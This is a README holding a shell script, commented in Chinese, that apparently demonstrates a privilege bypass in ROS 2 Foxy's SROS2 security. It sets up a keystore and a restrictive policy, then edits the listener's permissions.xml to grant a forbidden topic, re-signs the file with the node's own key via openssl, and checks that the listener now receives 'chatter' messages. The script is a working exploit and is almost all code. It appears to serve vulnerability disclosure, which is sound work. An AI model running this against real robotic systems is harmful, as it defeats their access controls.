README.md
Rendering markdown...
#!/bin/sh
export LANG=zh_CN.UTF-8
msg () {
echo ""
echo "=============================================="
echo " $*"
echo "=============================================="
sleep 2
}
info () {
echo "[*] $*"
}
. /opt/ros/foxy/setup.sh
set -x
msg "步骤 1: 创建密钥库 (Keystore)"
cd /keystore
export ROS_SECURITY_ENABLE=true
export ROS_SECURITY_STRATEGY=Enforce
export ROS_SECURITY_KEYSTORE=/keystore
ros2 security create_keystore /keystore
ros2 security create_key /keystore /talker
ros2 security create_key /keystore /listener
echo "[*] 密钥库创建完成"
msg "步骤 2: 创建正确的权限策略"
info "配置说明:"
info " - talker: 只能发布 'chatter' 话题"
info " - listener: 只能订阅 'something_else' 话题"
cat >node.xml <<POLICY
<?xml version="1.0" encoding="UTF-8"?>
<profile>
<topics publish="ALLOW">
<topic>/rosout</topic>
</topics>
<topics subscribe="ALLOW">
<topic>/clock</topic>
</topics>
<topics publish="ALLOW" subscribe="ALLOW" >
<topic>/parameter_events</topic>
</topics>
<services reply="ALLOW" request="ALLOW" >
<service>~/describe_parameters</service>
<service>~/get_parameter_types</service>
<service>~/get_parameters</service>
<service>~/list_parameters</service>
<service>~/set_parameters</service>
<service>~/set_parameters_atomically</service>
</services>
</profile>
POLICY
cat >policy.xml <<POLICY
<?xml version="1.0" encoding="UTF-8"?>
<policy version="0.2.0" xmlns:xi="http://www.w3.org/2001/XInclude">
<enclaves>
<enclave path="/talker">
<profiles>
<profile ns="/" node="talker">
<xi:include href="node.xml" xpointer="xpointer(/profile/*)"/>
<topics publish="ALLOW" >
<topic>chatter</topic>
</topics>
</profile>
</profiles>
</enclave>
<enclave path="/listener">
<profiles>
<profile ns="/" node="listener">
<xi:include href="node.xml" xpointer="xpointer(/profile/*)"/>
<topics subscribe="ALLOW">
<topic>something_else</topic>
</topics>
</profile>
</profiles>
</enclave>
</enclaves>
</policy>
POLICY
cat >launch.xml <<LAUNCH
<launch>
<node pkg="demo_nodes_cpp" exec="talker">
<env name="ROS_SECURITY_ENCLAVE_OVERRIDE" value="/talker"/>
</node>
<node pkg="demo_nodes_py" exec="listener">
<env name="ROS_SECURITY_ENCLAVE_OVERRIDE" value="/listener"/>
</node>
</launch>
LAUNCH
ros2 security create_permission /keystore /talker /keystore/policy.xml
ros2 security create_permission /keystore /listener /keystore/policy.xml
echo "[*] 权限策略创建完成"
msg "步骤 3: 测试正常权限"
cd /keystore
LOG_FILE=/tmp/ros_test1.log
ros2 launch /keystore/launch.xml 2>&1 | tee $LOG_FILE &
PID=$!
sleep 10
pkill -P $PID 2>/dev/null
kill $PID 2>/dev/null
echo ""
if grep -q "I heard:" $LOG_FILE; then
echo "[!] 异常: listener 收到了消息,权限检查失败"
else
echo "[*] 正常: listener 无法订阅 'chatter' 话题 (权限被拒绝)"
fi
echo ""
msg "步骤 4: 创建恶意权限 (漏洞利用)"
info "攻击原理: 修改本地权限文件,将订阅权限从 'something_else' 改为 'chatter'"
info "然后使用节点自身的证书重新签名权限文件"
sed -i -e's!rt/something_else!rt/chatter!' /keystore/enclaves/listener/permissions.xml
openssl smime -sign -text -in /keystore/enclaves/listener/permissions.xml \
-out /keystore/enclaves/listener/permissions.p7s \
-signer /keystore/enclaves/listener/cert.pem \
-inkey /keystore/enclaves/listener/key.pem
echo "[*] 恶意权限文件创建完成"
msg "步骤 5: 测试恶意权限"
cd /keystore
LOG_FILE=/tmp/ros_test2.log
ros2 launch /keystore/launch.xml 2>&1 | tee $LOG_FILE &
PID=$!
sleep 10
pkill -P $PID 2>/dev/null
kill $PID 2>/dev/null
echo ""
if grep -q "I heard:" $LOG_FILE; then
echo "=============================================="
echo " 漏洞利用成功! listener 成功收到消息"
echo "=============================================="
echo ""
echo "[*] 结果: listener 成功订阅了 'chatter' 话题"
echo "[*] 这证明攻击者可以绕过 SROS2 权限限制"
echo ""
echo "[*] 漏洞原因: SROS2 信任本地签名的权限文件,"
echo " 攻击者可以修改权限并重新签名来提权"
else
echo "[!] 漏洞利用失败,listener 仍然无法收到消息"
fi
echo ""